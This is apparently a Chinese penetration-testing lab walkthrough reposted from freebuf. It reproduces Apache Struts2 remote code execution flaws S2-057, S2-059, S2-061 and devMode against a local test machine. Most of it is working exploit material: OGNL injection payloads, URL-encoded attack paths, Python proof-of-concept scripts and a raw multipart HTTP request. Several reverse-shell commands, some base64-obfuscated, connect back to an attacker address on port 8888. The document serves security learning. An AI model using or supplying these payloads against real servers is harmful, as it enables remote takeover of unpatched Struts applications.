%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.109.9/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
18、S2-057远程执行代码漏洞(CVE-2018-11776)
利用条件:
1)alwaysSelectFullNamespace操作元素没有设置命名空间属性,或者使用通配符。
2)命名空间将由用户从uri传递,并被解析为OGNL表达式,最终导致远程代码执行漏洞。
影响版本:
Struts 2.3–2.3.34
Struts 2.5–2.5.16
复现操作:
访问靶机
http://192.168.109.147:8080/index
验证漏洞是否存在
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
需要转换url
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
19、S2-059远程执行代码漏洞(CVE-2019-0230)
漏洞原理:
Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
漏洞影响:低危
该漏洞需要开启altSyntax
功能,只能是在标签id
属性中存在表达式,并且参数还可以控制。这种场景在实际开发中非常少见,危害较小。
影响版本:
Struts 2.0.0 – 2.5.20
复现操作:
访问靶机
http://192.168.109.147:8080/?id=1
验证漏洞是否存在,访问
http://192.168.109.147:8080/?id=%25{9*9}
打开F12查看,发现9*9被执行。
POC – 1:
需要在python2环境下执行。
import requests
url = "http://192.168.109.147:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text
成功创建文件。
POC – 2 – 反弹shell:
base64编码地址。
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.109.9/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
POC:
import requests
url = "http://192.168.109.147:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
20、S2-061远程执行代码漏洞(CVE-2020-17530)
漏洞原理:
Struts2 会对某些标签属性(id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}
且x
的值用户可控时,用户再传入一个%{payload}
即可造成OGNL表达式执行。
S2-061是对S2-059沙盒进行的绕过。
影响版本:
Struts 2.0.0 – 2.5.25
复现操作:
访问靶机
http://192.168.109.147:8080/index.action
验证漏洞是否存在:
POST /index.action HTTP/1.1
Host: 192.168.109.147:8080
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
反弹shell:
替换 POC 中 id 的位置即可。
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.109.9/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
21、S2-devMode远程执行代码漏洞
漏洞原理:
当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
所谓的devMode模式,是为Struts2开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode模式是关闭的。
影响版本:
Struts开启devMode时,该漏洞会影响Struts 2.1.0 – 2.5.1,通杀Struts2所有版本。
复现操作:
docker pull medicean/vulapps:s_struts2_s2-devmode
docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-devmode
访问靶机
http://192.168.109.147:8888
验证漏洞是否存在
/orders/new/?debug=browser&object=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
使用K8工具进行利用。
来源:freebuf.com 2021-05-29 00:33:51 by: MISUagain
请登录后发表评论
注册